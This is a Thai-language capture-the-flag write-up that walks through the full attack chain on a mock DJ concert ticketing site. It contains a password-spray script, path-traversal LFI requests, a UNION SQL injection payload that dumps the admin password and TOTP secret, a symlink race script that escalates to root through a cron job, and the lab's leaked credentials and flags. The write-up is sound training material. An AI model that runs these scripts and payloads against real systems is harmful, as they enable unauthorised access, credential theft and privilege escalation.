DDJ MOODENG
โจทย์นี้เป็นเว็บขายตั๋วและฟังเพลงของ DJ Moo Deng World Tour 2026 ที่ดูเหมือนเว็บธรรมดาในตอนแรก แต่พอไล่ไปเรื่อย ๆ จะเจอ chain ค่อนข้างยาว ตั้งแต่ seeded account, LFI, SQL Injection บน staging, การขโมย TOTP secret, ไปจนถึง race condition เพื่ออ่าน root.txt


เริ่มจากเว็บ public
หลังจาก VPN route เข้าที่แล้ว ผมเริ่มจากเปิดหน้าเว็บหลักที่ 10.88.128.24 ก่อน หน้าเว็บมีลิงก์หลัก ๆ คือ Login, Register, Buy Ticket และ Listen ลักษณะเว็บบอกใบ้ค่อนข้างชัดว่า flow สำคัญน่าจะอยู่ที่ระบบตั๋ว เพราะหน้า Listen เปิดให้เฉพาะคนที่มี ticket เท่านั้น
เช็ก header เบื้องต้น:
curl.exe -i http://10.88.128.24/
ข้อมูลที่ได้:
Server: nginx/1.18.0 (Ubuntu)
X-Powered-By: Express
หน้า login ของ public site เป็นฟอร์มปกติ ไม่มีอะไรพิเศษในหน้าตา แต่เป็นจุดเริ่มของ foothold แรก

หา account ที่มีอยู่แล้ว
ผมลองสมัคร username ทั่วไปหลายตัวเพื่อดูว่ามีชื่อไหนถูกใช้ไปแล้ว เช่น admin, support, moodeng, djmoodeng, root หลายชื่อขึ้นว่า Username already taken แปลว่าฐานข้อมูลมี seeded user อยู่ก่อนแล้ว
จากนั้นลอง password spray แบบจำกัดด้วยคำที่เกี่ยวกับโจทย์ ไม่ได้ยิงกว้าง แค่ลองกับ account ที่น่าจะถูก seed มา:
import requests
base = "http://10.88.128.24/login"
users = ["support", "moodeng", "djmoodeng", "dj", "admin", "root"]
passwords = [
"support2026",
"moodeng2026",
"MooDeng2026!",
"DJMooDeng2026!",
"password",
"123456",
]
for u in users:
for p in passwords:
r = requests.post(
base,
data={"username": u, "password": p},
allow_redirects=False,
timeout=4,
)
if r.status_code in (301, 302) and r.headers.get("Location") != "/login":
print("HIT", u, p, r.headers.get("Location"))
raise SystemExit
ได้ credential แรก:
support:support2026
เมื่อ login เป็น support แล้วจะเห็นว่า account นี้มี ticket ที่ approve อยู่แล้ว seat GA-042

พอมี ticket ที่สถานะ APPROVED ก็เข้า Listen Lounge ได้ หน้าเว็บ render รายการเพลงด้วย <audio> หลายรายการ และแต่ละไฟล์ถูกเรียกผ่าน endpoint เดียวกันคือ /listen?track=... เช่น http://10.88.128.24/listen?track=ASTRONOMOA%20-%20130%20%5B%20P%20H%20A%20N%20U%20%5D.mp3

LFI จาก endpoint ฟังเพลง
ตรงนี้เป็นจุดที่น่าสนใจ เพราะ URL ของไฟล์เพลงมี parameter ชื่อ track ซึ่งดูเหมือนรับ filename ไปเปิดตรง ๆ ผมเลยลอง path traversal:
import requests
s = requests.Session()
s.post("http://10.88.128.24/login", data={
"username": "support",
"password": "support2026",
})
r = s.get(
"http://10.88.128.24/listen?track=../../../../etc/passwd",
stream=True,
timeout=10,
)
print(r.status_code, r.headers.get("Content-Type"))
print(next(r.iter_content(256)).decode(errors="replace"))
ผลลัพธ์อ่าน /etc/passwd ได้จริง:
200 application/octet-stream
root:x:0:0:root:/root:/bin/bash
moodeng:x:1000:1000::/home/moodeng:/bin/bash
azuracast:x:999:999::/var/azuracast:/bin/bash
nodeapp:x:998:998::/home/nodeapp:/usr/sbin/nologin
สรุปว่า /listen?track= เป็น LFI / Path Traversal โดยมีเงื่อนไขว่าต้อง login เป็น user ที่มี ticket approved ก่อน
จาก LFI ผมเริ่มอ่าน source code ของแอป แล้วเจอ logic ประมาณนี้:
const TRACKS_DIR = "/var/azuracast/tracks/";
const filePath = path.join(TRACKS_DIR, track);
fs.stat(filePath, ...)
fs.createReadStream(filePath).pipe(res);
ปัญหาคือใช้ path.join() กับ input จาก user แต่ไม่ได้เช็ก realpath ว่าไฟล์สุดท้ายยังอยู่ใต้ /var/azuracast/tracks/ หรือไม่
อ่าน source แล้วเจอ staging admin
เมื่ออ่านไฟล์ของแอปผ่าน LFI จะเห็นว่ามีหลาย service:
server-public.js
server-staging.js
server-admin.js
db.js
db-staging.js
ข้อมูลสำคัญที่ได้จาก source:
public app:
- /listen มี LFI
staging admin:
- /login ต่อ SQL ด้วย string concat
- มี UNION SQL Injection
production admin:
- login ใช้ prepared statement
- มี TOTP
- มี /api/files สำหรับ list directory หลังเป็น admin
database:
- user: djmoodeng
- password: app_db_pass_2026
- database: djmoodeng
ในหน้าเว็บมี domain djmoodeng.ctf โผล่อยู่ ผมเลยลอง brute force vhost ด้วย Host header:
import requests
hosts = [
"djmoodeng.ctf",
"admin.djmoodeng.ctf",
"staging.djmoodeng.ctf",
"staging-admin.djmoodeng.ctf",
]
for h in hosts:
r = requests.get(
"http://10.88.128.24/login",
headers={"Host": h},
timeout=5,
)
print(h, r.status_code, r.text[:80].replace("\n", " "))
เจอ vhost สำคัญสองตัว:
admin.djmoodeng.ctf
staging-admin.djmoodeng.ctf
หน้า staging เห็นชัดว่าเป็น environment แยก และใช้ wording Staging v2.6-rc1

ส่วน production admin เป็นอีกหน้าหนึ่ง ใช้ login แล้วต้องผ่าน 2FA ต่อ

SQL Injection บน staging
ใน server-staging.js มี query ประมาณนี้:
const sql = `SELECT id, username, role FROM users
WHERE username='${username}' AND password='${password}' LIMIT 1`;
เพราะ username และ password ถูก concat เข้า SQL ตรง ๆ จึงใช้ UNION SELECT ได้ ผมใช้ staging เป็นทางผ่านเพื่ออ่านข้อมูลจากฐาน production djmoodeng.users โดยยัดค่าที่ต้องการให้ไปแสดงใน field username บน dashboard
payload:
x' UNION SELECT 1,
concat(username,0x3a,password,0x3a,ifnull(totp_secret,'')),
'admin'
FROM djmoodeng.users
WHERE role='admin'
LIMIT 1-- -
ยิง request:
import requests
base = "http://10.88.128.24"
host = "staging-admin.djmoodeng.ctf"
payload = (
"x' UNION SELECT 1,"
"concat(username,0x3a,password,0x3a,ifnull(totp_secret,'')),"
"'admin' FROM djmoodeng.users WHERE role='admin' LIMIT 1-- -"
)
s = requests.Session()
s.post(
base + "/login",
headers={"Host": host},
data={"username": payload, "password": "x"},
allow_redirects=False,
)
r = s.get(base + "/dashboard", headers={"Host": host})
print(r.text)
dashboard render ค่าที่ต้องการออกมา:
admin:M00deng_2026!:JBSWY3DPEHPK3PXP
ดังนั้นข้อมูลของ production admin คือ:
username: admin
password: M00deng_2026!
TOTP secret: JBSWY3DPEHPK3PXP
เข้า production admin ด้วย TOTP
หลังได้ password และ TOTP secret แล้ว ขั้นตอนต่อไปคือ login production admin ที่ admin.djmoodeng.ctf
คำนวณ TOTP จาก secret:
import time
import hmac
import hashlib
import base64
import struct
def totp(secret, interval=30, digits=6):
key = base64.b32decode(secret, casefold=True)
counter = int(time.time() // interval)
msg = struct.pack(">Q", counter)
digest = hmac.new(key, msg, hashlib.sha1).digest()
off = digest[-1] & 0x0f
code = (struct.unpack(">I", digest[off:off+4])[0] & 0x7fffffff) % (10 ** digits)
return str(code).zfill(digits)
print(totp("JBSWY3DPEHPK3PXP"))
หลังกรอก username/password แล้ว production จะพามาที่หน้า 2FA:

เมื่อกรอก code ถูกต้อง ก็เข้า dashboard ได้สำเร็จ:

ใช้ admin file API ช่วยสำรวจระบบ
จาก server-admin.js มี endpoint นี้:
app.post("/api/files", requireAdmin, (req, res) => {
const dirPath = (req.body && req.body.path) || "/var/azuracast/tracks";
fs.readdir(dirPath, { withFileTypes: true }, ...)
});
endpoint นี้ require admin แต่หลังจากเข้า admin ได้แล้วก็สามารถส่ง path ใด ๆ ไป list directory ได้ เพราะไม่มีการ sanitize path
ตัวอย่าง list home ของ user:
rr = s.post(
"http://10.88.128.24/api/files",
headers={"Host": "admin.djmoodeng.ctf"},
json={"path": "/home/moodeng"},
)
print(rr.text)
ผลลัพธ์:
{
"path": "/home/moodeng",
"entries": [
{"name": ".bash_logout", "type": "file"},
{"name": ".bashrc", "type": "file"},
{"name": ".profile", "type": "file"},
{"name": ".ssh", "type": "dir"},
{"name": "user.txt", "type": "file"}
]
}
ตรงนี้ทำให้รู้ path ของ user.txt แน่นอน จากนั้นย้อนกลับไปใช้ LFI ของ public site อ่านไฟล์:
r = s.get(
"http://10.88.128.24/listen?track=../../../../home/moodeng/user.txt",
stream=True,
timeout=10,
)
print(r.content.decode())
ได้ flag แรก:
WANLAI{a11637f78482aa9e2e856e2ebf24adb5}
จาก web foothold ไป SSH
ตอนสำรวจไฟล์ด้วย LFI และ admin file API ผมอ่านเจอไฟล์สำคัญหลายตัว:
/entrypoint.sh
/etc/cron.d/azuracast-process
/usr/local/bin/randomize-flags.sh
/opt/scripts/process-uploads.sh
ใน /entrypoint.sh มี credential ระดับระบบ:
echo 'moodeng:Sn3ak!ng_H1pp0_2026' | chpasswd
echo 'azuracast:Az5r4_R@d10_2026' | chpasswd
SSH เปิดอยู่ และ credential ใช้ได้จริง:
ssh moodeng@10.88.128.24
password:
Sn3ak!ng_H1pp0_2026
ยืนยัน user:
id
cat ~/user.txt
ผล:
uid=1000(moodeng) gid=1000(moodeng) groups=1000(moodeng)
WANLAI{a11637f78482aa9e2e856e2ebf24adb5}
อีก account คือ azuracast:
ssh azuracast@10.88.128.24
password:
Az5r4_R@d10_2026
Privilege escalation ด้วย TOCTOU
จาก cron:
* * * * * root /opt/scripts/process-uploads.sh
script /opt/scripts/process-uploads.sh ทำงานด้วย root และ process ไฟล์ใน /var/azuracast/uploads
ส่วนที่เป็นปัญหา:
if [ -L "$f" ]; then
continue
fi
if [ "$(stat -c %U "$f")" != "azuracast" ]; then
continue
fi
sleep 0.3
cp "$f" "$dest"
chmod 644 "$dest"
chown root:root "$dest"
logic คือ cron จะเช็กก่อนว่าไฟล์ไม่ใช่ symlink และ owner เป็น azuracast จากนั้น sleep 0.3 วินาที แล้วค่อย cp ไฟล์ไปที่ processed directory
ช่องว่าง 0.3 วินาทีนี่ทำให้เกิด TOCTOU:
ตอน check ให้ไฟล์เป็นไฟล์ปกติ owner
azuracastหลัง check แต่ก่อน
cpสลับไฟล์นั้นเป็น symlink ไป/root/root.txtroot cron จะ
cptarget ของ symlink มาไว้ใน/var/azuracast/processed
สคริปต์ race ที่ใช้:
#!/bin/bash
set -eu
U=/var/azuracast/uploads/rootleak.mp3
P=/var/azuracast/processed/rootleak.mp3
rm -f "$U" "$P"
(
while true; do
rm -f "$U"
printf 'SAFE' > "$U"
sleep 0.08
rm -f "$U"
ln -s /root/root.txt "$U"
sleep 0.42
done
) &
RACER=$!
cleanup() {
kill $RACER 2>/dev/null || true
rm -f "$U"
}
trap cleanup EXIT
for i in $(seq 1 180); do
if [ -f "$P" ]; then
echo '---FOUND FILE---'
ls -l "$P"
echo '---CONTENT---'
cat "$P"
exit 0
fi
sleep 1
done
echo 'timeout'
exit 1
รอให้ cron รอบถัดไปทำงาน แล้วได้:
---FOUND FILE---
-rw-r--r-- 1 root root 41 ... /var/azuracast/processed/rootleak.mp3
---CONTENT---
WANLAI{852bef8b4793fcf1b2349f5269d79f5d}
นี่คือ root.txt
สรุป chain
โจทย์นี้ไม่ได้จบที่ bug เดียว แต่เป็นการต่อหลายจุดเข้าด้วยกัน:
1. เจอ public site ที่ 10.88.128.24
2. หา seeded account ได้ support:support2026
3. ใช้ support เข้า Listen Lounge
4. เจอ LFI ที่ /listen?track=
5. ใช้ LFI อ่าน source code และ config
6. เจอ staging-admin.djmoodeng.ctf มี SQL Injection
7. ใช้ SQLi ดึง production admin password และ TOTP secret
8. เข้า admin.djmoodeng.ctf สำเร็จ
9. ใช้ /api/files ช่วยยืนยัน path ต่าง ๆ
10. อ่าน user.txt ผ่าน LFI
11. อ่าน entrypoint.sh แล้วได้ system credentials
12. SSH เป็น moodeng และ azuracast
13. เจอ cron root ที่มี TOCTOU race
14. race symlink ไป /root/root.txt
15. ได้ root.txt
ค่าที่สำคัญ:
Public account:
support:support2026
Staging admin host:
staging-admin.djmoodeng.ctf
Production admin:
admin:M00deng_2026!
TOTP secret: JBSWY3DPEHPK3PXP
System users:
moodeng:Sn3ak!ng_H1pp0_2026
azuracast:Az5r4_R@d10_2026
สุดท้าย:
user.txt = WANLAI{a11637f78482aa9e2e856e2ebf24adb5}
root.txt = WANLAI{852bef8b4793fcf1b2349f5269d79f5d}